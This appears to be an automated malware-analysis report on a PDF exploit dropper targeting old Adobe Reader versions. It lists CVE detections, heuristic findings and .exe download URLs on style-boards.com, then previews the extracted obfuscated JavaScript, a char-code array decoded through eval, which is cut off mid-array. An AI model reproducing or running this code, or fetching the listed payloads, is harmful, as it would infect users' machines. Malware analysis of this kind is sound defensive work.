MALICIOUS
592
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF file contains obfuscated JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2007-5659, CVE-2008-2992, and CVE-2009-0927. The deobfuscated JavaScript shellcode contains embedded URLs pointing to executable files, indicating it is designed to download and execute a second-stage payload. The ML classifier and ClamAV detection further support the malicious nature of this file.
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 14
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Exploit.Agent-36110
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDERDecoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
-
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEXHex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
-
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILEDThe cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://style-boards.com/forum/ijlstw2.exe Referenced by PDF JavaScript
- http://style-boards.com/forum/click.php?r=Referenced by PDF JavaScript
- http://style-boards.com/forum/gruvwx2.exeReferenced by PDF JavaScript
- http://style-boards.com/forum/bcdjqw2.exeReferenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x1A5 | 38744 bytes |
SHA-256: db6b8ae1c37754eb8c2ddee200e51fbc29a3bb435be0d37363a6c719df98012a |
|||
Preview scriptFirst 1,000 lines of the extracted script
var fgpx=1467;adjnty="adjnty";kmosy="";dhowy='';jnstu="jnstu";fguwxy="fguwxy";egjryz="egjryz";var dnuy="dnuy",cfgotu="",dlrsx=24319,aeqy=0,bcfhxy=String,ijks=bcfhxy['fSrSo7m3C3hIa7rICIo0d3e0'.replace(/[03I7S]/g,'')],lvyz=String,dinpy=lvyz['exvrarlr'.replace(/[rixD3]/g,'')],knqs="66",egjkmy="",egkory=[67,64,63,156,171,164,153,170,159,165,164,86,156,159,174,149,159,170,94,175,151,168,169,166,98,86,162,155,164,95,177,67,64,63,63,173,158,159,162,155,86,94,175,151,168,169,166,100,162,155,164,157,170,158,86,96,86,104,86,114,86,162,155,164,95,177,67,64,63,63,63,175,151,168,169,166,86,97,115,86,175,151,168,169,166,113,67,64,63,63,179,67,64,63,63,175,151,168,169,166,86,115,86,175,151,168,169,166,100,169,171,152,169,170,168,159,164,157,94,102,98,86,162,155,164,101,104,95,113,67,64,63,63,168,155,170,171,168,164,86,175,151,168,169,166,113,67,64,63,179,67,64,67,64,63,156,171,164,153,170,159,165,164,86,171,170,159,162,149,166,168,159,164,170,156,94,95,177,67,64,63,63,172,151,168,86,166,151,175,162,165,151,154,86,115,86,171,164,155,169,153,151,166,155,94,88,91,171,123,120,123,111,91,171,102,102,102,103,91,171,107,108,102,102,91,171,119,103,108,106,91,171,102,102,105,102,91,171,102,102,102,102,91,171,106,102,110,120,91,171,110,120,102,121,91,171,103,121,109,102,91,171,110,120,119,122,91,171,102,110,106,102,91,171,121,105,107,123,91,171,110,120,107,107,91,171,110,120,123,121,91,171,102,110,106,107,91,171,105,105,107,104,91,171,121,103,122,104,91,171,102,105,121,104,91,171,103,102,105,104,91,171,110,102,106,102,91,171,102,102,105,110,91,171,124,107,109,107,91,171,121,104,110,120,91,171,107,122,107,119,91,171,102,106,121,104,91,171,107,107,102,102,91,171,123,121,110,120,91,171,107,103,107,103,91,171,107,108,107,105,91,171,108,102,107,109,91,171,107,122,110,120,91,171,105,105,102,110,91,171,110,120,121,102,91,171,102,121,109,107,91,171,124,123,110,120,91,171,109,108,102,105,91,171,110,120,105,121,91,171,109,110,106,123,91,171,121,124,102,105,91,171,107,103,110,120,91,171,107,104,103,121,91,171,107,103,110,120,91,171,107,104,104,106,91,171,109,103,110,120,91,171,106,123,103,106,91,171,109,107,110,111,91,171,110,120,124,121,91,171,104,102,109,103,91,171,124,109,102,105,91,171,106,119,111,111,91,171,106,104,119,122,91,171,105,120,108,102,91,171,124,121,107,107,91,171,102,106,109,107,91,171,121,102,105,105,91,171,105,109,123,120,91,171,124,124,105,105,91,171,106,107,102,105,91,171,111,109,102,121,91,171,121,124,110,120,91,171,109,107,119,123,91,171,104,120,124,122,91,171,106,124,124,111,91,171,123,110,107,103,91,171,124,124,111,106,91,171,124,124,124,124,91,171,121,105,105,120,91,171,109,106,108,103,91,171,123,120,102,104,91,171,110,120,122,111,91,171,102,121,106,107,91,171,107,123,111,104,91,171,124,104,102,105,91,171,123,102,122,103,91,171,121,108,102,105,91,171,121,111,105,105,91,171,120,109,102,124,91,171,107,124,102,110,91,171,123,103,121,103,91,171,102,105,102,104,91,171,102,105,121,119,91,171,110,120,121,124,91,171,102,105,102,103,91,171,110,111,121,104,91,171,124,110,106,107,91,171,110,120,108,103,91,171,124,110,106,107,91,171,107,123,107,124,91,171,121,111,107,120,91,171,107,107,121,105,91,171,123,121,110,120,91,171,123,110,107,103,91,171,124,124,106,111,91,171,124,124,124,124,91,171,108,110,107,102,91,171,108,102,123,110,91,171,102,106,120,124,91,171,108,121,123,110,91,171,124,124,124,124,91,171,105,105,124,124,91,171,107,104,122,104,91,171,124,124,107,104,91,171,102,110,109,107,91,171,122,102,124,124,91,171,106,107,110,111,91,171,110,120,124,121,91,171,124,121,106,107,91,171,121,105,121,111,91,171,110,120,107,107,91,171,110,105,123,121,91,171,102,121,123,121,91,171,106,107,110,122,91,171,107,102,124,106,91,171,106,107,121,108,91,171,109,107,124,106,91,171,106,107,121,108,91,171,109,104,124,107,91,171,106,107,121,108,91,171,108,121,124,108,91,171,106,107,121,108,91,171,108,122,124,109,91,171,106,107,121,108,91,171,108,124,124,110,91,171,106,107,121,108,91,171,108,123,124,111,91,171,106,107,121,108,91,171,104,123,124,119,91,171,106,107,121,108,91,171,108,106,124,120,91,171,106,107,121,108,91,171,108,121,124,121,91,171,106,107,121,108,91,171,108,121,124,122,91,171,106,107,121,108,91,171,102,102,124,123,91,171,119,102,123,110,91,171,124,124,124,124,91,171,107,102,124,124,91,171,107,122,108,110,91,171,103,103,110,119,91,171,123,110,103,108,91,171,124,124,103,107,91,171,124,124,124,124,91,171,121,106,110,105,91,171,110,107,102,121,91,171,109,106,121,102,91,171,108,119,103,107,91,171,108,119,102,102,91,171,124,124,102,102,91,171,102,121,109,107,91,171,109,107,124,124,91,171,108,119,102,110,91,171,124,124,102,102,91,171,110,107,122,102,91,171,109,107,121,102,91,171,106,102,102,105,91,171,121,105,121,111,91,171,121,102,105,105,91,171,121,105,121,111,91,171,105,105,107,109,91,171,110,120,121,102,91,171,104,106,106,121,91,171,110,120,102,121,91,171,104,106,109,121,91,171,124,121,102,110,91,171,119,119,124,105,91,171,121,105,107,124,91,171,106,121,110,120,91,171,102,106,104,106,91,171,105,111,110,102,91,171,110,120,102,102,91,171,109,106,121,103,91,171,106,102,102,108,91,171,105,110,110,102,91,171,109,107,102,102,91,171,104,120,124,119,91,171,121,105,121,103,91,171,110,120,107,107,91,171,110,105,123,121,91,171,108,106,123,121,91,171,110,122,107,105,91,171,124,102,106,107,91,171,105,105,107,109,91,171,107,102,122,120,91,171,106,107,121,108,91,171,108,120,124,102,91,171,106,107,121,108,91,171,108,107,124,103,91,171,106,107,121,108,91,171,109,104,124,104,91,171,106,107,121,108,91,171,108,123,124,105,91,171,106,107,121,108,91,171,108,107,124,106,91,171,106,107,121,108,91,171,108,121,124,107,91,171,106,107,121,108,91,171,105,105,124,108,91,171,106,107,121,108,91,171,105,104,124,109,91,171,106,107,121,108,91,171,104,123,124,110,91,171,106,107,121,108,91,171,108,106,124,111,91,171,106,107,121,108,91,171,108,121,124,119,91,171,106,107,121,108,91,171,108,121,124,120,91,171,107,122,110,110,91,171,123,110,124,121,91,171,124,124,102,120,91,171,124,124,124,124,91,171,108,110,107,102,91,171,106,105,108,110,91,171,110,123,124,111,91,171,110,102,123,110,91,171,124,124,124,123,91,171,110,120,124,124,91,171,110,122,124,110,91,171,111,121,106,107,91,171,106,106,108,119,91,171,123,110,107,102,91,171,124,124,109,123,91,171,124,124,124,124,91,171,106,107,110,122,91,171,108,119,123,102,91,171,107,102,103,102,91,171,109,105,123,110,91,171,124,124,124,124,91,171,110,105,124,124,91,171,103,121,121,106,91,171,106,107,110,122,91,171,107,102,123,102,91,171,106,107,110,122,91,171,107,102,111,121,91,171,107,105,107,105,91,171,107,105,107,105,91,171,107,105,107,105,91,171,109,107,124,124,91,171,121,109,102,110,91,171,111,121,106,107,91,171,102,102,106,106,91,171,102,102,102,102,91,171,124,124,107,105,91,171,107,124,122,109,91,171,120,108,102,124,91,171,107,120,121,102,91,171,121,105,121,111,91,171,110,120,107,107,91,171,107,103,123,121,91,171,107,105,107,103,91,171,107,109,107,108,91,171,106,104,108,119,91,171,109,104,123,110,91,171,102,102,102,102,91,171,110,120,102,102,91,171,105,105,122,110,91,171,110,107,124,108,91,171,107,111,122,120,91,171,106,107,121,109,91,171,108,103,124,110,91,171,108,107,104,123,91,171,121,109,109,110,91,171,124,121,106,107,91,171,102,102,108,107,91,171,102,102,102,102,91,171,107,108,109,123,91,171,106,107,110,122,91,171,107,102,124,110,91,171,123,110,107,108,91,171,102,102,107,103,91,171,102,102,102,102,91,171,107,102,107,111,91,171,120,103,123,110,91,171,124,124,124,123,91,171,110,107,124,124,91,171,107,111,121,102,91,171,109,106,107,111,91,171,110,122,105,111,91,171,102,103,106,108,91,171,123,110,107,102,91,171,102,102,105,120,91,171,102,102,102,102,91,171,124,110,110,120,91,171,106,107,110,122,91,171,107,102,124,110,91,171,104,103,123,110,91,171,124,124,124,124,91,171,110,107,124,124,91,171,107,111,121,102,91,171,109,106,107,111,91,171,107,109,102,121,91,171,102,103,123,110,91,171,124,124,124,124,91,171,107,111,124,124,91,171,106,106,121,108,91,171,124,124,105,110,91,171,107,102,109,105,91,171,106,107,110,122,91,171,124,123,124,110,91,171,107,110,102,102,91,171,106,107,110,122,91,171,107,102,124,110,91,171,123,110,107,109,91,171,124,123,109,106,91,171,124,124,124,124,91,171,107,111,107,111,91,171,106,108,106,108,91,171,124,105,105,120,91,171,119,119,109,121,91,171,107,123,107,124,91,171,121,111,107,120,91,171,107,107,121,105,91,171,123,121,110,120,91,171,107,105,107,103,91,171,108,102,108,108,91,171,105,104,120,103,91,171,102,102,123,110,91,171,102,102,102,102,91,171,107,110,102,102,91,171,102,110,105,110,91,171,102,105,109,106,91,171,123,120,106,102,91,171,106,102,124,111,91,171,107,122,110,120,91,171,110,102,102,110,91,171,106,104,124,120,91,171,102,110,109,107,91,171,122,120,105,105,91,171,103,110,110,119,91,171,121,105,110,120,91,171,103,109,123,120,91,171,103,110,105,110,91,171,103,103,109,108,91,171,105,105,106,102,91,171,110,106,121,111,91,171,109,106,122,120,91,171,106,102,102,121,91,171,102,110,105,110,91,171,124,120,109,107,91,171,124,123,106,102,91,171,123,120,121,120,91,171,105,105,124,104,91,171,110,111,121,102,91,171,124,121,106,107,91,171,106,107,110,120,91,171,107,120,124,121,91,171,121,105,121,111,91,171,102,104,105,104,91,171,109,106,108,110,91,171,109,102,109,106,91,171,104,124,105,119,91,171,109,105,104,124,91,171,109,111,109,106,91,171,108,107,108,121,91,171,108,104,104,122,91,171,108,103,108,124,91,171,108,106,109,104,91,171,104,123,109,105,91,171,108,124,108,105,91,171,104,124,108,122,91,171,108,124,108,108,91,171,109,107,109,104,91,171,104,124,108,122,91,171,108,119,108,111,91,171,109,105,108,121,91,171,109,109,109,106,91,171,104,123,105,104,91,171,109,110,108,107,91,171,102,102,108,107,91,171,109,106,108,110,91,171,109,102,109,106,91,171,104,124,105,119,91,171,109,105,104,124,91,171,109,111,109,106,91,171,108,107,108,121,91,171,108,104,104,122,91,171,108,103,108,124,91,171,108,106,109,104,91,171,104,123,109,105,91,171,108,124,108,105,91,171,104,124,108,122,91,171,108,124,108,108,91,171,109,107,109,104,91,171,104,124,108,122,91,171,108,121,108,105,91,171,108,105,108,111,91,171,104,123,108,120,91,171,108,110,109,102,91,171,105,124,109,102,91,171,105,122,109,104,91,171,102,102,102,102,88,95,113,67,64,63,63,172,151,168,86,164,165,166,86,115,86,171,164,155,169,153,151,166,155,94,88,91,171,102,119,102,119,91,171,102,119,102,119,91,171,102,119,102,119,91,171,102,119,102,119,88,95,67,64,63,63,172,151,168,86,158,155,151,166,152,162,165,153,161,86,115,86,164,165,166,86,97,86,166,151,175,162,165,151,154,113,67,64,63,63,172,151,168,86,152,159,157,152,162,165,153,161,86,115,86,171,164,155,169,153,151,166,155,94,88,91,171,102,119,102,119,91,171,102,119,102,119,88,95,113,67,64,63,63,172,151,168,86,158,155,151,154,155,168,169,159,176,155,86,115,86,104,102,113,67,64,63,63,172,151,168,86,169,166,168,151,175,86,115,86,158,155,151,154,155,168,169,159,176,155,86,97,86,158,155,151,166,152,162,165,153,161,100,162,155,164,157,170,158,113,67,64,63,63,173,158,159,162,155,86,94,152,159,157,152,162,165,153,161,100,162,155,164,157,170,158,86,114,86,169,166,168,151,175,95,177,67,64,63,63,63,152,159,157,152,162,165,153,161,86,97,115,86,152,159,157,152,162,165,153,161,113,67,64,63,63,179,67,64,63,63,172,151,168,86,156,159,162,162,152,162,165,153,161,86,115,86,152,159,157,152,162,165,153,161,100,169,171,152,169,170,168,159,164,157,94,102,98,86,169,166,168,151,175,95,113,67,64,63,63,172,151,168,86,152,162,165,153,161,86,115,86,152,159,157,152,162,165,153,161,100,169,171,152,169,170,168,159,164,157,94,102,98,86,152,159,157,152,162,165,153,161,100,162,155,164,157,170,158,99,169,166,168,151,175,95,113,67,64,63,63,173,158,159,162,155,86,94,152,162,165,153,161,100,162,155,164,157,170,158,97,169,166,168,151,175,86,114,86,102,174,106,102,102,102,102,95,177,67,64,63,63,63,152,162,165,153,161,86,115,86,152,162,165,153,161,86,97,86,152,162,165,153,161,86,97,86,156,159,162,162,152,162,165,153,161,113,67,64,63,63,179,67,64,63,63,172,151,168,86,163,155,163,149,151,168,168,151,175,86,115,86,164,155,173,86,119,168,168,151,175,94,95,113,67,64,63,63,156,165,168,86,94,172,151,168,86,159,86,115,86,102,113,86,159,86,114,86,103,106,102,102,113,86,159,97,97,95,177,67,64,63,63,63,163,155,163,149,151,168,168,151,175,145,159,147,86,115,86,152,162,165,153,161,86,97,86,158,155,151,166,152,162,165,153,161,113,67,64,63,63,179,67,64,63,63,172,151,168,86,164,171,163,86,115,86,103,104,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,111,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,113,67,64,63,63,171,170,159,162,100,166,168,159,164,170,156,94,88,91,106,107,102,102,102,156,88,98,86,164,171,163,95,113,67,64,63,179,67,64,67,64,63,156,171,164,153,170,159,165,164,86,153,165,162,162,151,152,149,155,163,151,159,162,94,95,177,67,64,63,63,172,151,168,86,169,158,155,162,162,153,165,154,155,86,115,86,171,164,155,169,153,151,166,155,94,88,91,171,123,120,123,111,91,171,102,102,102,103,91,171,107,108,102,102,91,171,119,103,108,106,91,171,102,102,105,102,91,171,102,102,102,102,91,171,106,102,110,120,91,171,110,120,102,121,91,171,103,121,109,102,91,171,110,120,119,122,91,171,102,110,106,102,91,171,121,105,107,123,91,171,110,120,107,107,91,171,110,120,123,121,91,171,102,110,106,107,91,171,105,105,107,104,91,171,121,103,122,104,91,171,102,105,121,104,91,171,103,102,105,104,91,171,110,102,106,102,91,171,102,102,105,110,91,171,124,107,109,107,91,171,121,104,110,120,91,171,107,122,107,119,91,171,102,106,121,104,91,171,107,107,102,102,91,171,123,121,110,120,91,171,107,103,107,103,91,171,107,108,107,105,91,171,108,102,107,109,91,171,107,122,110,120,91,171,105,105,102,110,91,171,110,120,121,102,91,171,102,121,109,107,91,171,124,123,110,120,91,171,109,108,102,105,91,171,110,120,105,121,91,171,109,110,106,123,91,171,121,124,102,105,91,171,107,103,110,120,91,171,107,104,103,121,91,171,107,103,110,120,91,171,107,104,104,106,91,171,109,103,110,120,91,171,106,123,103,106,91,171,109,107,110,111,91,171,110,120,124,121,91,171,104,102,109,103,91,171,124,109,102,105,91,171,106,119,111,111,91,171,106,104,119,122,91,171,105,120,108,102,91,171,124,121,107,107,91,171,102,106,109,107,91,171,121,102,105,105,91,171,105,109,123,120,91,171,124,124,105,105,91,171,106,107,102,105,91,171,111,109,102,121,91,171,121,124,110,120,91,171,109,107,119,123,91,171,104,120,124,122,91,171,106,124,124,111,91,171,123,110,107,103,91,171,124,124,111,106,91,171,124,124,124,124,91,171,121,105,105,120,91,171,109,106,108,103,91,171,123,120,102,104,91,171,110,120,122,111,91,171,102,121,106,107,91,171,107,123,111,104,91,171,124,104,102,105,91,171,123,102,122,103,91,171,121,108,102,105,91,171,121,111,105,105,91,171,120,109,102,124,91,171,107,124,102,110,91,171,123,103,121,103,91,171,102,105,102,104,91,171,102,105,121,119,91,171,110,120,121,124,91,171,102,105,102,103,91,171,110,111,121,104,91,171,124,110,106,107,91,171,110,120,108,103,91,171,124,110,106,107,91,171,107,123,107,124,91,171,121,111,107,120,91,171,107,107,121,105,91,171,123,121,110,120,91,171,123,110,107,103,91,171,124,124,106,111,91,171,124,124,124,124,91,171,108,110,107,102,91,171,108,102,123,110,91,171,102,106,120,124,91,171,108,121,123,110,91,171,124,124,124,124,91,171,105,105,124,124,91,171,107,104,122,104,91,171,124,124,107,104,91,171,102,110,109,107,91,171,122,102,124,124,91,171,106,107,110,111,91,171,110,120,124,121,91,171,124,121,106,107,91,171,121,105,121,111,91,171,110,120,107,107,91,171,110,105,123,121,91,171,102,121,123,121,91,171,106,107,110,122,91,171,107,102,124,106,91,171,106,107,121,108,91,171,109,107,124,106,91,171,106,107,121,108,91,171,109,104,124,107,91,171,106,107,121,108,91,171,108,121,124,108,91,171,106,107,121,108,91,171,108,122,124,109,91,171,106,107,121,108,91,171,108,124,124,110,91,171,106,107,121,108,91,171,108,123,124,111,91,171,106,107,121,108,91,171,104,123,124,119,91,171,106,107,121,108,91,171,108,106,124,120,91,171,106,107,121,108,91,171,108,121,124,121,91,171,106,107,121,108,91,171,108,121,124,122,91,171,106,107,121,108,91,171,102,102,124,123,91,171,119,102,123,110,91,171,124,124,124,124,91,171,107,102,124,124,91,171,107,122,108,110,91,171,103,103,110,119,91,171,123,110,103,108,91,171,124,124,103,107,91,171,124,124,124,124,91,171,121,106,110,105,91,171,110,107,102,121,91,171,109,106,121,102,91,171,108,119,103,107,91,171,108,119,102,102,91,171,124,124,102,102,91,171,102,121,109,107,91,171,109,107,124,124,91,171,108,119,102,110,91,171,124,124,102,102,91,171,110,107,122,102,91,171,109,107,121,102,91,171,106,102,102,105,91,171,121,105,121,111,91,171,121,102,105,105,91,171,121,105,121,111,91,171,105,105,107,109,91,171,110,120,121,102,91,171,104,106,106,121,91,171,110,120,102,121,91,171,104,106,109,121,91,171,124,121,102,110,91,171,119,119,124,105,91,171,121,105,107,124,91,171,106,121,110,120,91,171,102,106,104,106,91,171,105,111,110,102,91,171,110,120,102,102,91,171,109,106,121,103,91,171,106,102,102,108,91,171,105,110,110,102,91,171,109,107,102,102,91,171,104,120,124,119,91,171,121,105,121,103,91,171,110,120,107,107,91,171,110,105,123,121,91,171,108,106,123,121,91,171,110,122,107,105,91,171,124,102,106,107,91,171,105,105,107,109,91,171,107,102,122,120,91,171,106,107,121,108,91,171,108,120,124,102,91,171,106,107,121,108,91,171,108,107,124,103,91,171,106,107,121,108,91,171,109,104,124,104,91,171,106,107,121,108,91,171,108,123,124,105,91,171,106,107,121,108,91,171,108,107,124,106,91,171,106,107,121,108,91,171,108,121,124,107,91,171,106,107,121,108,91,171,105,105,124,108,91,171,106,107,121,108,91,171,105,104,124,109,91,171,106,107,121,108,91,171,104,123,124,110,91,171,106,107,121,108,91,171,108,106,124,111,91,171,106,107,121,108,91,171,108,121,124,119,91,171,106,107,121,108,91,171,108,121,124,120,91,171,107,122,110,110,91,171,123,110,124,121,91,171,124,124,102,120,91,171,124,124,124,124,91,171,108,110,107,102,91,171,106,105,108,110,91,171,110,123,124,111,91,171,110,102,123,110,91,171,124,124,124,123,91,171,110,120,124,124,91,171,110,122,124,110,91,171,111,121,106,107,91,171,106,106,108,119,91,171,123,110,107,102,91,171,124,124,109,123,91,171,124,124,124,124,91,171,106,107,110,122,91,171,108,119,123,102,91,171,107,102,103,102,91,171,109,105,123,110,91,171,124,124,124,124,91,171,110,105,124,124,91,171,103,121,121,106,91,171,106,107,110,122,91,171,107,102,123,102,91,171,106,107,110,122,91,171,107,102,111,121,91,171,107,105,107,105,91,171,107,105,107,105,91,171,107,105,107,105,91,171,109,107,124,124,91,171,121,109,102,110,91,171,111,121,106,107,91,171,102,102,106,106,91,171,102,102,102,102,91,171,124,124,107,105,91,171,107,124,122,109,91,171,120,108,102,124,91,171,107,120,121,102,91,171,121,105,121,111,91,171,110,120,107,107,91,171,107,103,123,121,91,171,107,105,107,103,91,171,107,109,107,108,91,171,106,104,108,119,91,171,109,104,123,110,91,171,102,102,102,102,91,171,110,120,102,102,91,171,105,105,122,110,91,171,110,107,124,108,91,171,107,111,122,120,91,171,106,107,121,109,91,171,108,103,124,110,91,171,108,107,104,123,91,171,121,109,109,110,91,171,124,121,106,107,91,171,102,102,108,107,91,171,102,102,102,102,91,171,107,108,109,123,91,171,106,107,110,122,91,171,107,102,124,110,91,171,123,110,107,108,91,171,102,102,107,103,91,171,102,102,102,102,91,171,107,102,107,111,91,171,120,103,123,110,91,171,124,124,124,123,91,171,110,107,124,124,91,171,107,111,121,102,91,171,109,106,107,111,91,171,110,122,105,111,91,171,102,103,106,108,91,171,123,110,107,102,91,171,102,102,105,120,91,171,102,102,102,102,91,171,124,110,110,120,91,171,106,107,110,122,91,171,107,102,124,110,91,171,104,103,123,110,91,171,124,124,124,124,91,171,110,107,124,124,91,171,107,111,121,102,91,171,109,106,107,111,91,171,107,109,102,121,91,171,102,103,123,110,91,171,124,124,124,124,91,171,107,111,124,124,91,171,106,106,121,108,91,171,124,124,105,110,91,171,107,102,109,105,91,171,106,107,110,122,91,171,124,123,124,110,91,171,107,110,102,102,91,171,106,107,110,122,91,171,107,102,124,110,91,171,123,110,107,109,91,171,124,123,109,106,91,171,124,124,124,124,91,171,107,111,107,111,91,171,106,108,106,108,91,171,124,105,105,120,91,171,119,119,109,121,91,171,107,123,107,124,91,171,121,111,107,120,91,171,107,107,121,105,91,171,123,121,110,120,91,171,107,105,107,103,91,171,108,102,108,108,91,171,105,104,120,103,91,171,102,102,123,110,91,171,102,102,102,102,91,171,107,110,102,102,91,171,102,110,105,110,91,171,102,105,109,106,91,171,123,120,106,102,91,171,106,102,124,111,91,171,107,122,110,120,91,171,110,102,102,110,91,171,106,104,124,120,91,171,102,110,109,107,91,171,122,120,105,105,91,171,103,110,110,119,91,171,121,105,110,120,91,171,103,109,123,120,91,171,103,110,105,110,91,171,103,103,109,108,91,171,105,105,106,102,91,171,110,106,121,111,91,171,109,106,122,120,91,171,106,102,102,121,91,171,102,110,105,110,91,171,124,120,109,107,91,171,124,123,106,102,91,171,123,120,121,120,91,171,105,105,124,104,91,171,110,111,121,102,91,171,124,121,106,107,91,171,106,107,110,120,91,171,107,120,124,121,91,171,121,105,121,111,91,171,102,104,105,104,91,171,109,106,108,110,91,171,109,102,109,106,91,171,104,124,105,119,91,171,109,105,104,124,91,171,109,111,109,106,91,171,108,107,108,121,91,171,108,104,104,122,91,171,108,103,108,124,91,171,108,106,109,104,91,171,104,123,109,105,91,171,108,124,108,105,91,171,104,124,108,122,91,171,108,124,108,108,91,171,109,107,109,104,91,171,104,124,108,122,91,171,109,104,108,109,91,171,109,108,109,107,91,171,109,110,109,109,91,171,104,123,105,104,91,171,109,110,108,107,91,171,102,102,108,107,91,171,109,106,108,110,91,171,109,102,109,106,91,171,104,124,105,119,91,171,109,105,104,124,91,171,109,111,109,106,91,171,108,107,108,121,91,171,108,104,104,122,91,171,108,103,108,124,91,171,108,106,109,104,91,171,104,123,109,105,91,171,108,124,108,105,91,171,104,124,108,122,91,171,108,124,108,108,91,171,109,107,109,104,91,171,104,124,108,122,91,171,108,121,108,105,91,171,108,105,108,111,91,171,104,123,108,120,91,171,108,110,109,102,91,171,105,124,109,102,91,171,105,122,109,104,91,171,102,102,102,102,88,95,113,67,64,63,63,172,151,168,86,163,155,163,149,151,168,168,151,175,86,115,86,164,155,173,86,119,168,168,151,175,94,95,113,67,64,63,63,172,151,168,86,153,153,86,115,86,102,174,102,153,102,153,102,153,102,153,113,67,64,63,63,172,151,168,86,151,154,154,168,86,115,86,102,174,106,102,102,102,102,102,113,67,64,63,63,172,151,168,86,169,153,149,162,155,164,86,115,86,169,158,155,162,162,153,165,154,155,100,162,155,164,157,170,158,86,96,86,104,113,67,64,63,63,172,151,168,86,162,155,164,86,115,86,151,154,154,168,86,99,86,94,169,153,149,162,155,164,97,102,174,105,110,95,113,67,64,63,63,172,151,168,86,175,151,168,169,166,86,115,86,171,164,155,169,153,151,166,155,94,88,91,171,111,102,111,102,91,171,111,102,111,102,88,95,113,67,64,63,63,175,151,168,169,166,86,115,86,156,159,174,149,159,170,94,175,151,168,169,166,98,86,162,155,164,95,113,67,64,63,63,172,151,168,86,153,165,171,164,170,104,86,115,86,94,153,153,86,99,86,102,174,106,102,102,102,102,102,95,101,151,154,154,168,113,67,64,63,63,156,165,168,86,94,172,151,168,86,153,165,171,164,170,86,115,86,102,113,86,153,165,171,164,170,86,114,86,153,165,171,164,170,104,113,86,153,165,171,164,170,97,97,95,177,67,64,63,63,63,163,